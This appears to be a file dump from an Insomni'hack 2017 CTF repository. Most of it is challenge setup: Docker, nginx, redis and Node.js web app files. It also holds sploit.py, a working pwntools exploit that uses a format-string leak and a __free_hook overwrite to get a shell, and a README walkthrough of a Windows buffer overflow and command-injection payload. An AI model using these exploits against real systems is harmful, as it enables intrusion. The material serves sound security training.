28 | #processManagement:
29 | 
30 | security:
31 |   authorization: "enabled"
32 | 
33 | #operationProfiling:
34 | 
35 | #replication:
36 | 
37 | #sharding:
38 | 
39 | ## Enterprise-Only Options:
40 | 
41 | #auditLog:
42 | 
43 | #snmp:
44 | 


--------------------------------------------------------------------------------
/web/kill_list/setup.sh:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env bash
 2 | #
 3 | apt-get update && apt-get upgrade -qy
 4 | apt-get install -qy \
 5 |     build-essential apt-transport-https libssl-dev \
 6 |     vim curl wget lsof \
 7 |     python g++ make \
 8 |     nginx redis-server
 9 | 
10 | ## Clean up
11 | rm -rf /var/lib/apt/lists/* \
12 |     && apt-get -y autoclean
13 | 
14 | ##
15 | ## Install nodejs
16 | ##
17 | curl -sL https://deb.nodesource.com/setup_6.x -o nodesource_setup.sh
18 | bash nodesource_setup.sh
19 | apt-get install nodejs
20 | npm install -g pm2
21 | 
22 | ##
23 | ## Install mongodb
24 | ##
25 | apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv EA312927
26 | echo "deb http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.2 multiverse" > /etc/apt/sources.list.d/mongodb-org-3.2.list
27 | apt-get update && apt-get install -y mongodb-org
28 | 
29 | 
30 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/routes/view.js:
--------------------------------------------------------------------------------
 1 | 'use strict';
 2 | 
 3 | const _ = require('lodash');
 4 | 
 5 | let  _req, _res;
 6 | 
 7 | // build html for flash messages. 
 8 | function renderFlashMsg() {
 9 |     let flash = _req.flash(),
10 |         out   = '',
11 |         types = ['success', 'error', 'info'];
12 | 
13 |     _.each(types, (type) => {
14 |         if (flash[type]) {
15 |             out += '<div class="flash-msgs '+ type +'">';
16 |             out += '<h2><span>' + type + '</span></h2>';
17 |             out += '<ul>';
18 | 
19 |             _.each(flash[type], (msg) => {
20 |                 out += `<li>${msg}</li>`;
21 |             }) ;
22 |             console.log(msg);
23 |             out += '</ul></div>';
24 |         }
25 |     });
26 | 
27 |     return out;
28 | }
29 | 
30 | module.exports = {
31 |     'setContext': (req, res, next) => {
32 |         _req = req;
33 |         _res = res;
34 |         next();
35 |     },
36 |     'helpers': {
37 |         renderFlashMsg
38 |     }
39 | };


--------------------------------------------------------------------------------
/pwn/skybot/banners/0.txt:
--------------------------------------------------------------------------------
 1 |                                                                   ,----,
 2 |                    ,--.                         ,----..         ,/   .`|
 3 |   .--.--.      ,--/  /|              ,---,.    /   /   \      ,`   .'  :
 4 |  /  /    '. ,---,': / '     ,---,  ,'  .'  \  /   .     :   ;    ;     /
 5 | |  :  /`. / :   : '/ /     /_ ./|,---.' .' | .   /   ;.  \.'___,/    ,'
 6 | ;  |  |--`  |   '   ,,---, |  ' :|   |  |: |.   ;   /  ` ;|    :     |
 7 | |  :  ;_    '   |  //___/ \.  : |:   :  :  /;   |  ; \ ; |;    |.';  ;
 8 |  \  \    `. |   ;  ; .  \  \ ,' ':   |    ; |   :  | ; | '`----'  |  |
 9 |   `----.   \:   '   \ \  ;  `  ,'|   :     \.   |  ' ' ' :    '   :  ;
10 |   __ \  \  ||   |    ' \  \    ' |   |   . |'   ;  \; /  |    |   |  '
11 |  /  /`--'  /'   : |.  \ '  \   | '   :  '; | \   \  ',  /     '   :  |
12 | '--'.     / |   | '_\.'  \  ;  ; |   |  | ;   ;   :    /      ;   |.'
13 |   `--'---'  '   : |       :  \  \|   :   /     \   \ .'       '---'
14 |             ;   |,'        \  ' ;|   | ,'       `---`
15 |             '---'           `--` `----'
16 | 
17 | 


--------------------------------------------------------------------------------
/web/kill_list/nginx.conf:
--------------------------------------------------------------------------------
 1 | server {
 2 |         listen 80;
 3 |         #listen [::]:80 default_server ipv6only=on;
 4 |         return 301 https://$host$request_uri;
 5 | }
 6 | 
 7 | server {
 8 |         listen 443;
 9 |         server_name kill-list.insomnihack.ch;
10 | 
11 |         ssl on;
12 |         ssl_certificate /etc/ssl/cert.pem;
13 |         ssl_certificate_key /etc/ssl/key.pem;
14 |         ssl_session_timeout 5m;
15 |         ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
16 |         ssl_prefer_server_ciphers on;
17 |         ssl_ciphers 'EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH';
18 | 
19 |         # Pass requests for / to localhost:8080:
20 |         location / {
21 |                 proxy_set_header X-Real-IP $remote_addr;
22 |                 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
23 |                 proxy_set_header X-NginX-Proxy true;
24 |                 proxy_pass http://localhost:8080/;
25 |                 proxy_ssl_session_reuse off;
26 |                 proxy_set_header Host $http_host;
27 |                 proxy_cache_bypass $http_upgrade;
28 |                 proxy_redirect off;
29 |         }
30 | }
31 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/routes/mycrypto.js:
--------------------------------------------------------------------------------
 1 | // https://github.com/kelektiv/node.bcrypt.js#api
 2 | var bcrypt = require('bcrypt');
 3 | 
 4 | var saltRounds = 10;
 5 | 
 6 | function cryptPassword(password, callback) {
 7 |     bcrypt.genSalt(saltRounds, function(err, salt) {
 8 |         if (err) {
 9 |             return callback(err);
10 |         }
11 |         bcrypt.hash(password, salt, function(err, hash) {
12 |             return callback(err, hash);
13 |         });
14 |     });
15 | };
16 | 
17 | function comparePassword(myPlaintextPassword, hash, callback) {
18 |     bcrypt.compare(myPlaintextPassword, hash, function(err, isPasswordMatch) {
19 |         if (err) {
20 |             return callback(err);
21 |         }
22 |         return callback(isPasswordMatch);
23 |     });
24 | };
25 | 
26 | 
27 | function encrypt(password){
28 |     cryptPassword(password, (err, hash) => {
29 |         if (err) throw err;
30 |         return hash;
31 |     });
32 | }
33 | 
34 | 
35 | function checkPassword(myPlaintextPassword, hash){
36 |     comparePassword(myPlaintextPassword, hash, (err, isPasswordMatch) => {
37 |         if (err) throw err;
38 |         return isPasswordMatch;
39 |     });
40 | }
41 | 
42 | module.exports = {
43 |     cryptPassword  : cryptPassword,
44 |     comparePassword: comparePassword,
45 |     encrypt        : encrypt,
46 |     checkPassword  : checkPassword
47 | }


--------------------------------------------------------------------------------
/web/kill_list/redis.conf:
--------------------------------------------------------------------------------
 1 | daemonize yes
 2 | pidfile /var/run/redis/redis-server.pid
 3 | port 6379
 4 | tcp-backlog 511
 5 | bind 127.0.0.1
 6 | timeout 0
 7 | tcp-keepalive 0
 8 | loglevel notice
 9 | logfile /var/log/redis/redis-server.log
10 | databases 16
11 | save 900 1
12 | save 300 10
13 | save 60 10000
14 | stop-writes-on-bgsave-error yes
15 | rdbcompression yes
16 | rdbchecksum yes
17 | dbfilename dump.rdb
18 | dir /var/lib/redis
19 | slave-serve-stale-data yes
20 | slave-read-only yes
21 | repl-diskless-sync no
22 | repl-diskless-sync-delay 5
23 | repl-disable-tcp-nodelay no
24 | slave-priority 100
25 | requirepass passw0rd
26 | appendonly no
27 | appendfilename "appendonly.aof"
28 | appendfsync everysec
29 | no-appendfsync-on-rewrite no
30 | auto-aof-rewrite-percentage 100
31 | auto-aof-rewrite-min-size 64mb
32 | aof-load-truncated yes
33 | lua-time-limit 5000
34 | slowlog-log-slower-than 10000
35 | slowlog-max-len 128
36 | latency-monitor-threshold 0
37 | notify-keyspace-events ""
38 | hash-max-ziplist-entries 512
39 | hash-max-ziplist-value 64
40 | list-max-ziplist-entries 512
41 | list-max-ziplist-value 64
42 | set-max-intset-entries 512
43 | zset-max-ziplist-entries 128
44 | zset-max-ziplist-value 64
45 | hll-sparse-max-bytes 3000
46 | activerehashing yes
47 | client-output-buffer-limit normal 0 0 0
48 | client-output-buffer-limit slave 256mb 64mb 60
49 | client-output-buffer-limit pubsub 32mb 8mb 60
50 | hz 10
51 | aof-rewrite-incremental-fsync yes
52 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/js/login.js:
--------------------------------------------------------------------------------
 1 | $(function(){
 2 |     
 3 |     // Checking for CSS 3D transformation support
 4 |     $.support.css3d = supportsCSS3D();
 5 |     
 6 |     var formContainer = $('#formContainer');
 7 |     
 8 |     // Listening for clicks on the ribbon links
 9 |     $('.flipLink').click(function(e){
10 |         
11 |         // Flipping the forms
12 |         formContainer.toggleClass('flipped');
13 |         
14 |         // If there is no CSS3 3D support, simply
15 |         // hide the login form (exposing the recover one)
16 |         if(!$.support.css3d){
17 |             $('#login').toggle();
18 |         }
19 |         e.preventDefault();
20 |     });
21 |     
22 |     formContainer.find('form').submit(function(e){
23 |         // Preventing form submissions. If you implement
24 |         // a backend, you might want to remove this code
25 |         e.preventDefault();
26 |     });
27 |     
28 |     
29 |     // A helper function that checks for the 
30 |     // support of the 3D CSS3 transformations.
31 |     function supportsCSS3D() {
32 |         var props = [
33 |             'perspectiveProperty', 'WebkitPerspective', 'MozPerspective'
34 |         ], testDom = document.createElement('a');
35 |           
36 |         for(var i=0; i<props.length; i++){
37 |             if(props[i] in testDom.style){
38 |                 return true;
39 |             }
40 |         }
41 |         
42 |         return false;
43 |     }
44 | });
45 | 


--------------------------------------------------------------------------------
/pwn/skybot/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM ubuntu:16.04
 2 | MAINTAINER bogdan@insomnihack.ch
 3 | LABEL Description="Insomni'hack 2017 Skybot" VERSION='1.0'
 4 | 
 5 | # Installation
 6 | RUN apt-get update && apt-get upgrade -y
 7 | RUN apt-get install -y build-essential socat openssh-server
 8 | # RUN sysctl -w kernel.dmesg_restrict=1 \
 9 | #         && echo "kernel.dmesg_restrict=1" >> /etc/sysctl.conf \
10 | #         && sysctl -p
11 | # RUN mount -o remount,hidepid=2 /proc
12 | RUN chmod 1733 /tmp /var/tmp /dev/shm
13 | 
14 | # User
15 | RUN adduser --disabled-password --gecos '' skybot
16 | RUN chown -R root:skybot /home/skybot/
17 | RUN chmod 0750 /home/skybot
18 | RUN touch /home/skybot/flag.txt
19 | RUN export TERM=xterm
20 | 
21 | # Copy files
22 | ADD skybot /home/skybot
23 | ADD flag.txt /home/skybot
24 | ADD banners/ /home/skybot/banners
25 | ADD spam/ /home/skybot/spam
26 | ADD libc-2.23.so /lib/x86_64-linux-gnu/libc-2.23.so
27 | 
28 | RUN chown root:skybot /home/skybot/skybot && chmod 0510 /home/skybot/skybot \
29 |         && chown -R root:root /home/skybot/banners && chmod -R 0555 /home/skybot/banners \
30 |         && chown -R root:root /home/skybot/spam && chmod -R 0555 /home/skybot/spam \
31 |         && chown root:skybot /home/skybot/flag.txt && chmod 440 /home/skybot/flag.txt \
32 |         && service ssh start \
33 |         && update-rc.d ssh enable
34 | 
35 | EXPOSE 22 1337
36 | 
37 | # USER skybot
38 | WORKDIR /home/skybot/
39 | CMD su skybot -c "socat -T9 TCP4-LISTEN:1337,reuseaddr,fork EXEC:/home/skybot/skybot"
40 | 


--------------------------------------------------------------------------------
/pwn/easywin/README.md:
--------------------------------------------------------------------------------
 1 | ## Infos
 2 | 
 3 | **Author**: awe  
 4 | **Category**: Pwn  
 5 | **Difficulty**: Easy  
 6 | **Solves**: 2 (WTF)  
 7 | 
 8 | ## Description:
 9 | 
10 |   After monitoring the number of people escaping from `winworld` during the Insomni'hack Teaser, the droids became confident that Windows 10 is just too secured, so they decided to use it again to manage their army.  
11 |   The protections are the same `winworld`, but the difficulty is... not quite the same ;)
12 | 
13 |   Running on Windows 10 with:  
14 |   ```bash
15 |   AppJailLauncher.exe /key:flag.txt /port:1337 /timeout:12000000 easywin.exe
16 |   ```
17 | 
18 | ## Solution:
19 | 
20 | There is an obvious buffer overflow in the "change target" function, which allows to overwrite a format and a function pointer.
21 | 
22 | 1) Use the format string to leak `ucrtbase.dll`. At offset 5 you have `ucrtbase!_argc`. Compute the base of `ucrtbase` from its offset.  
23 | 2) Overwrite the function pointer with `ucrtbase!system` and trigger it. The binary has Control Flow Guard but `system` is a valid target, so no problem.  
24 | 3) First argument of `system` is our buffer (how convenient?), however our charset is limited to `c > 0x20 && c < 0x7f` so we can't use space characters. We can use `,` or `^` to circumvent that restriction: `type,flag.txt\x00`.  
25 | 4) For some reason remotely this didn't work (buffering or whatever), adding another command that prints more bytes does the trick: `type,flag.txt&whoami^/all\x00`  
26 | 5) Get the flag: `INS{command^injection^for^the^win}`
27 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/css/starter-template.css:
--------------------------------------------------------------------------------
 1 | body {
 2 |     /*padding-top: 50px;*/
 3 | /*    background: url(../img/highquality-walls.blogspot.com-12.jpg);
 4 |     background-repeat: no-repeat;
 5 |     background-size: cover;*/
 6 |     padding-top: 120px;
 7 |     padding-bottom: 40px;
 8 |     background-color: #eee;
 9 | }
10 | .starter-template {
11 |   padding: 40px 15px;
12 |   text-align: center;
13 | }
14 | 
15 | .fullscreen_bg {
16 |     position: fixed;
17 |     top: 0;
18 |     right: 0;
19 |     bottom: 0;
20 |     left: 0;
21 |     background-size: cover;
22 |     background-position: 50% 50%;
23 |     background-image: url('../img/highquality-walls.blogspot.com-12.jpg');
24 |     background-repeat:repeat;
25 | }
26 | 
27 | .white_text {
28 |     color: #fff;
29 |     text-align: center;
30 |     text-shadow: 0 2px 2px rgba(0,0,0,0.5);
31 | }
32 | 
33 | .lead {
34 |     color: #fff;
35 |     text-align: center;
36 |     text-shadow: 0 2px 2px rgba(0,0,0,0.5);
37 | }
38 | 
39 | .centered_message{
40 |     width: 66%;
41 |     margin: 100px auto 0 auto;
42 | }
43 | 
44 | .centered_warnings{
45 |     width: 25%;
46 |     margin: 70px auto 0 auto;
47 | }
48 | 
49 | .human_search_button{
50 |     display: inline-block;
51 |     width: 10%;
52 |     height: 40px;
53 | }
54 | 
55 | .human_search_field{
56 |     margin-top: 60px;
57 |     display: inline-block;
58 |     width: 40.5%;
59 |     height: 40px;
60 | }
61 | 
62 | .humans thead th{
63 |     text-align: center;
64 | }
65 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/views/login.hbs:
--------------------------------------------------------------------------------
 1 | <link href="/css/login.css" rel="stylesheet">
 2 | <script src="/js/login.js"></script>
 3 | 
 4 | {{#if isLoggedin}}
 5 |     <div class="alert alert-warning centered_message" role="alert">
 6 |         <strong>[ Welcome {{username}} ]</strong><br><br>
 7 |         <strong>You are already loggedin!</strong><br>
 8 |         <strong>Best check yo self, you're not looking too good.</strong><br>
 9 |         <strong>No flag for you here !!!</strong>
10 |     </div>
11 | {{else}}
12 | 
13 |     {{# if success }}
14 |         <section class="alert alert-success centered_warnings" role="alert">
15 |             <strong>Successful Validation!</strong>
16 |         </section>
17 |     {{/if}}
18 |     {{# if errors }}
19 |         <section class="alert alert-danger centered_warnings" role="alert">
20 |             <ul>
21 |                 {{# each errors }}
22 |                     <li><strong>{{ this.msg }}</strong></li>
23 |                 {{/each}}
24 |             </ul>
25 |         </section>
26 |     {{/if}}
27 |     <div class="container">
28 |         <form class="form-signin" method="post" action="/login">
29 |             <h1 class="form-signin-heading text-muted">Sign In</h1>
30 |             <input type="text" name="email" class="form-control" placeholder="Email address" required="" autofocus="">
31 |             <input type="password" name="password" class="form-control" placeholder="Password" required="">
32 |             <button class="btn btn-lg btn-primary btn-block" type="submit">
33 |                 Sign In
34 |             </button>
35 |         </form>
36 |     </div>
37 | {{/if}}


--------------------------------------------------------------------------------
/web/kill_list/kill_list/views/register.hbs:
--------------------------------------------------------------------------------
 1 | <link href="/css/register.css" rel="stylesheet">
 2 | {{#if isLoggedin}}
 3 |     <div class="alert alert-warning centered_message" role="alert">
 4 |         <strong>[ Welcome {{username}} ]</strong><br><br>
 5 |         <strong>You are already registered!</strong><br>
 6 |         <strong>Best check yo self, you're not looking too good.</strong><br>
 7 |         <strong>No flag for you here !!!</strong>
 8 |     </div>
 9 | {{else}}
10 |     {{# if success }}
11 |         <section class="alert alert-success centered_warnings" role="alert">
12 |             <strong>Successful Validation!</strong>
13 |         </section>
14 |     {{/if}}
15 |     {{# if errors }}
16 |         <section class="alert alert-danger centered_warnings" role="alert">
17 |             <ul>
18 |                 {{# each errors }}
19 |                     <li><strong>{{ this.msg }}</strong></li>
20 |                 {{/each}}
21 |             </ul>
22 |         </section>
23 |     {{/if}}
24 | 
25 |     <div class="container">
26 |         <form class="form-signin" method="post" action="/register">
27 |             <h1 class="form-signin-heading text-muted">Register</h1>
28 |             <input type="text" name="email" class="form-control" placeholder="Email address" required="" autofocus="">
29 |             <input type="password" name="password" class="form-control" placeholder="Password" required="">
30 |             <input type="password" name="confirmPassword" class="form-control" placeholder="Check Password" required="">
31 |             <button class="btn btn-lg btn-primary btn-block" type="submit">
32 |                 Register
33 |             </button>
34 |         </form>
35 |     </div>
36 | {{/if}}


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/css/login.css:
--------------------------------------------------------------------------------
 1 |   body {
 2 |     padding-top: 120px;
 3 |     padding-bottom: 40px;
 4 |     background-color: #eee;
 5 |   
 6 |   }
 7 |   .btn 
 8 |   {
 9 |    outline:0;
10 |    border:none;
11 |    border-top:none;
12 |    border-bottom:none;
13 |    border-left:none;
14 |    border-right:none;
15 |    box-shadow:inset 2px -3px rgba(0,0,0,0.15);
16 |   }
17 |   .btn:focus
18 |   {
19 |    outline:0;
20 |    -webkit-outline:0;
21 |    -moz-outline:0;
22 |   }
23 |   .fullscreen_bg {
24 |     position: fixed;
25 |     top: 0;
26 |     right: 0;
27 |     bottom: 0;
28 |     left: 0;
29 |     background-size: cover;
30 |     background-position: 50% 50%;
31 |     background-image: url('../img/highquality-walls.blogspot.com-12.jpg');
32 |     background-repeat:repeat;
33 |   }
34 |   .form-signin {
35 |     max-width: 280px;
36 |     padding: 15px;
37 |     margin: 0 auto;
38 |       margin-top:50px;
39 |   }
40 |   .form-signin .form-signin-heading, .form-signin {
41 |     margin-bottom: 10px;
42 |   }
43 |   .form-signin .form-control {
44 |     position: relative;
45 |     font-size: 16px;
46 |     height: auto;
47 |     padding: 10px;
48 |     -webkit-box-sizing: border-box;
49 |     -moz-box-sizing: border-box;
50 |     box-sizing: border-box;
51 |   }
52 |   .form-signin .form-control:focus {
53 |     z-index: 2;
54 |   }
55 |   .form-signin input[type="text"] {
56 |     margin-bottom: -1px;
57 |     border-bottom-left-radius: 0;
58 |     border-bottom-right-radius: 0;
59 |     border-top-style: solid;
60 |     border-right-style: solid;
61 |     border-bottom-style: none;
62 |     border-left-style: solid;
63 |     border-color: #000;
64 |   }
65 |   .form-signin input[type="password"] {
66 |     margin-bottom: 10px;
67 |     border-top-left-radius: 0;
68 |     border-top-right-radius: 0;
69 |     border-top-style: none;
70 |     border-right-style: solid;
71 |     border-bottom-style: solid;
72 |     border-left-style: solid;
73 |     border-color: rgb(0,0,0);
74 |     border-top:1px solid rgba(0,0,0,0.08);
75 |   }
76 |   .form-signin-heading {
77 |     color: #fff;
78 |     text-align: center;
79 |     text-shadow: 0 2px 2px rgba(0,0,0,0.5);
80 |   }


--------------------------------------------------------------------------------
/web/kill_list/kill_list/public/css/register.css:
--------------------------------------------------------------------------------
 1 |   body {
 2 |     padding-top: 120px;
 3 |     padding-bottom: 40px;
 4 |     background-color: #eee;
 5 |   }
 6 |   .btn 
 7 |   {
 8 |    outline:0;
 9 |    border:none;
10 |    border-top:none;
11 |    border-bottom:none;
12 |    border-left:none;
13 |    border-right:none;
14 |    box-shadow:inset 2px -3px rgba(0,0,0,0.15);
15 |   }
16 |   .btn:focus
17 |   {
18 |    outline:0;
19 |    -webkit-outline:0;
20 |    -moz-outline:0;
21 |   }
22 | /*  .fullscreen_bg {
23 |     position: fixed;
24 |     top: 0;
25 |     right: 0;
26 |     bottom: 0;
27 |     left: 0;
28 |     background-size: cover;
29 |     background-position: 50% 50%;
30 |     background-image: url('../img/highquality-walls.blogspot.com-12.jpg');
31 |     background-repeat:repeat;
32 |   }*/
33 |   .form-signin {
34 |     max-width: 280px;
35 |     padding: 15px;
36 |     margin: 0 auto;
37 |     margin-top:50px;
38 |   }
39 |   .form-signin .form-signin-heading, .form-signin {
40 |     margin-bottom: 10px;
41 |   }
42 |   .form-signin .form-control {
43 |     position: relative;
44 |     font-size: 16px;
45 |     height: auto;
46 |     padding: 10px;
47 |     -webkit-box-sizing: border-box;
48 |     -moz-box-sizing: border-box;
49 |     box-sizing: border-box;
50 |   }
51 |   .form-signin .form-control:focus {
52 |     z-index: 2;
53 |   }
54 |   .form-signin input[type="text"] {
55 |     margin-bottom: -1px;
56 |     border-bottom-left-radius: 0;
57 |     border-bottom-right-radius: 0;
58 |     border-top-style: solid;
59 |     border-right-style: solid;
60 |     border-bottom-style: none;
61 |     border-left-style: solid;
62 |     border-color: #000;
63 |   }
64 |   .form-signin input[type="password"] {
65 |     margin-bottom: -1px;
66 |     border-top-left-radius: 0;
67 |     border-top-right-radius: 0;
68 |     border-top-style: solid;
69 |     border-right-style: solid;
70 |     border-bottom-style: none;
71 |     border-left-style: solid;
72 |     border-color: rgb(0,0,0);
73 |     border-top:0px solid rgba(0,0,0,0.08);
74 |   }
75 |   .form-signin-heading {
76 |     color: #fff;
77 |     text-align: center;
78 |     text-shadow: 0 2px 2px rgba(0,0,0,0.5);
79 |   }


--------------------------------------------------------------------------------
/pwn/skybot/sploit.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python2
 2 | # encoding: utf-8
 3 | 
 4 | from pwn import *
 5 | 
 6 | LOCAL = "remote" not in sys.argv
 7 | BINARY = "skybot"
 8 | 
 9 | elf = ELF(BINARY)
10 | context.update(binary=elf)
11 | context.log_level = "debug" if "debug" in sys.argv else "info"
12 | 
13 | LIBC = None
14 | OFFSET_LIBC_BASE_11 = 0x3c3058
15 | 
16 | OFFSET = 30
17 | USED_OFFSET = OFFSET_LIBC_BASE_11
18 | FREE_HOOK = 0x3c57a8
19 | 
20 | if LOCAL:
21 |     r = remote("10.13.37.102", 1337)
22 |     __free_hook = FREE_HOOK
23 | else:
24 |     r = remote("10.13.37.102", 1337)
25 | 
26 | libc = ELF(LIBC) if LIBC else elf.libc
27 | 
28 | if "gdb" in sys.argv:
29 |     gdb.attach(BINARY, """b *0x31337\nc\nheap_chunks $heap 5""")
30 | 
31 | 
32 | def fmt_string(payload):
33 |     r.sendline("send")
34 |     r.readuntil("To: ")
35 |     r.sendline("to")
36 |     r.readuntil("From: ")
37 |     r.sendline("from")
38 |     r.readuntil("Subject: ")
39 |     r.sendline(payload)
40 |     r.readuntil("Subject:\n")
41 | 
42 | log.info("Off by one in auth...")
43 | r.sendline("auth " + "A" * 40)
44 | r.sendline("auth " + "A" * 1)
45 | 
46 | log.info("Format string to leak libc...")
47 | for offset in range(100):
48 |     payload = ("%" + str(offset) + "$llx.").ljust(64, "B") + "A" * 16
49 |     fmt_string(payload)
50 |     leak = r.readuntil("\n").split(".BBBBBB")[0]
51 |     print("Offset %d: %s" % (offset, leak))
52 |     if offset == OFFSET:
53 |         libc_leak = int(leak, 16)
54 |     if leak == ("A" * 8).encode("hex"):
55 |         break
56 | 
57 | log.info("Libc leak (inside vsnprintf): %#x" % libc_leak)
58 | libc.address = (libc_leak - 0x3c3b78)
59 | log.success("libc base: %#x" % libc.address)
60 | 
61 | target = libc.address + __free_hook
62 | system = libc.symbols["system"]
63 | log.info("Format string to overwrite __free_hook @ %#x with system @ %#x..." % (target, system))
64 | 
65 | for i in range(8):
66 |     payload = ""
67 | 
68 |     b = ord(p64(system)[i])
69 |     if b:
70 |         payload += "%" + str(b) + "x"
71 | 
72 |     payload += "%" + str(offset) + "$hhn"
73 |     payload  = payload.ljust(64, "B")
74 |     payload += p64(target + i) + "\x00" * 8
75 |     print(payload)
76 |     fmt_string(payload)
77 | 
78 | log.info('Getting shell...')
79 | 
80 | r.sendline("auth ///////////bin/sh")
81 | r.sendline("reset")
82 | r.interactive()
83 | r.close()
84 | 
85 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/bin/www:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env node
 2 | 
 3 | /**
 4 |  * Module dependencies.
 5 |  */
 6 | var app    = require('../app');
 7 | var debug  = require('debug')('nosql:server');
 8 | var http   = require('http');
 9 | 
10 | // var fs     = require('fs');
11 | // var https  = require('https');
12 | 
13 | /**
14 |  * Get port from environment and store in Express.
15 |  */
16 | 
17 | var port = normalizePort(process.env.PORT || '8080');
18 | app.set('port', port);
19 | 
20 | /**
21 |  * Create HTTP server.
22 |  */
23 | // var options = {
24 | //   key: fs.readFileSync('ssl/key.pem'),
25 | //   cert: fs.readFileSync('ssl/cert.pem')
26 | // };
27 | var server = http.createServer(app);
28 | // Create an HTTPS service identical to the HTTP service.
29 | // var server = https.createServer(options, app).listen(port,'localhost');
30 | 
31 | /**
32 |  * Listen on provided port, on all network interfaces.
33 |  */
34 | server.listen(port);
35 | server.on('error', onError);
36 | server.on('listening', onListening);
37 | 
38 | 
39 | /**
40 |  * Normalize a port into a number, string, or false.
41 |  */
42 | 
43 | function normalizePort(val) {
44 |     var port = parseInt(val, 10);
45 | 
46 |     if (isNaN(port)) {
47 |         // named pipe
48 |         return val;
49 |     }
50 | 
51 |     if (port >= 0) {
52 |         // port number
53 |         return port;
54 |     }
55 | 
56 |     return false;
57 | }
58 | 
59 | /**
60 |  * Event listener for HTTP server "error" event.
61 |  */
62 | 
63 | function onError(error) {
64 |     if (error.syscall !== 'listen') {
65 |         throw error;
66 |     }
67 | 
68 |     var bind = typeof port === 'string'
69 |         ? 'Pipe ' + port
70 |         : 'Port ' + port;
71 | 
72 |     // handle specific listen errors with friendly messages
73 |     switch (error.code) {
74 |         case 'EACCES':
75 |             console.error(bind + ' requires elevated privileges');
76 |             process.exit(1);
77 |             break;
78 |         case 'EADDRINUSE':
79 |           console.error(bind + ' is already in use');
80 |           process.exit(1);
81 |           break;
82 |     default:
83 |       throw error;
84 |     }
85 | }
86 | 
87 | /**
88 |  * Event listener for HTTP server "listening" event.
89 |  */
90 | 
91 | function onListening() {
92 |     var addr = server.address();
93 |     var bind = typeof addr === 'string'
94 |         ? 'pipe ' + addr
95 |         : 'port ' + addr.port;
96 |     console.log("Listening on port: " + port + " and address: " + addr.address);
97 |     debug('Listening on ' + bind);
98 | }
99 | 


--------------------------------------------------------------------------------
/web/kill_list/kill_list/views/layout.hbs:
--------------------------------------------------------------------------------
 1 | 
 2 | <!DOCTYPE html>
 3 | <html lang="en">
 4 |   <head>
 5 |     <meta charset="utf-8">
 6 |     <meta http-equiv="X-UA-Compatible" content="IE=edge">
 7 |     <meta name="viewport" content="width=device-width, initial-scale=1">
 8 |     <meta name="description" content="">
 9 |     <meta name="author" content="">
10 |     <!-- <link rel="icon" href="/img/favicon.ico"> -->
11 |     <title>{{ title }}</title>
12 |     <link href="/css/bootstrap.min.css" rel="stylesheet">
13 |     <link href="/css/starter-template.css" rel="stylesheet">
14 |     <link href="/css/ie10-viewport-bug-workaround.css" rel="stylesheet">
15 |   </head>
16 |   <body>
17 | 
18 |     <nav class="navbar navbar-inverse navbar-fixed-top">
19 |       <div class="container">
20 |         <div class="navbar-header">
21 |           <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
22 |             <span class="sr-only">Toggle navigation</span>
23 |             <span class="icon-bar"></span>
24 |             <span class="icon-bar"></span>
25 |             <span class="icon-bar"></span>
26 |           </button>
27 |           <a class="navbar-brand" href="#">{{ app_title }}</a>
28 |         </div>
29 |         <div id="navbar" class="collapse navbar-collapse">
30 |             <ul class="nav navbar-nav">
31 |                 <li class="active"><a href="/">Home</a></li>
32 |                 <li><a href="/humans">Humans</a></li>
33 |                 <li><a href="/contact">Contact</a></li>
34 |             </ul>
35 | 
36 |         {{#if isLoggedin}}
37 |             <ul class="nav navbar-nav navbar-right">
38 |                 <li><a href="/logout">({{username}}) Logout</a></li>
39 |             </ul>
40 |         {{else}}
41 |             <ul class="nav navbar-nav navbar-right">
42 |                 <li><a href="/login">Login</a></li>
43 |             </ul>
44 |             <ul class="nav navbar-nav navbar-right">
45 |                 <li><a href="/register">Register</a></li>
46 |             </ul>
47 |         {{/if}}
48 |         </div><!--/.nav-collapse -->
49 |       </div>
50 |     </nav>
51 | 
52 |     <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
53 |     <script src="/js/bootstrap.min.js"></script>
54 |     
55 |     <div class="container theme-showcase" role="main">
56 |         <div id="fullscreen_bg" class="fullscreen_bg"/>
57 |             {{{ body }}}
58 |         </div>
59 |     </div>
60 |   </body>
61 | </html>


--------------------------------------------------------------------------------
/web/kill_list/kill_list/views/index.hbs:
--------------------------------------------------------------------------------
 1 | <div class="container">
 2 |     <div class="starter-template">
 3 |         <h1 class="white_text">Most wanted</h1>
 4 |         <p class="lead">TOP PRIORITY TARGETS FOR T-X TERMINATRIX<br>SHOULD BE CAPTURED DEAD OR ALIVE.</p>
 5 |     </div>
 6 | 
 7 | {{# if success }}
 8 |     <section class="alert alert-success" role="alert">
 9 |         {{# each success }}
10 |             <strong>{{ this.msg }}</strong>
11 |         {{/each}}
12 |     </section>
13 | {{/if}}
14 | 
15 | {{# if errors }}
16 | <section class="alert alert-danger" role="alert">
17 |     <ul>
18 |         {{# each errors }}
19 |             <li><strong>{{ this.msg }}</strong></li>
20 |         {{/each}}
21 |     </ul>
22 | </section>
23 | {{/if}}
24 |     <div id="carousel-example-generic" class="carousel slide" data-ride="carousel">
25 |         <ol class="carousel-indicators">
26 |             <li data-target="#carousel-example-generic" data-slide-to="0" class="active"></li>
27 |             <li data-target="#carousel-example-generic" data-slide-to="1" class=""></li>
28 |             <li data-target="#carousel-example-generic" data-slide-to="2" class=""></li>
29 |             <li data-target="#carousel-example-generic" data-slide-to="3" class=""></li>
30 |         </ol>
31 | 
32 |         <div class="carousel-inner" role="listbox">
33 |             <div class="item active">
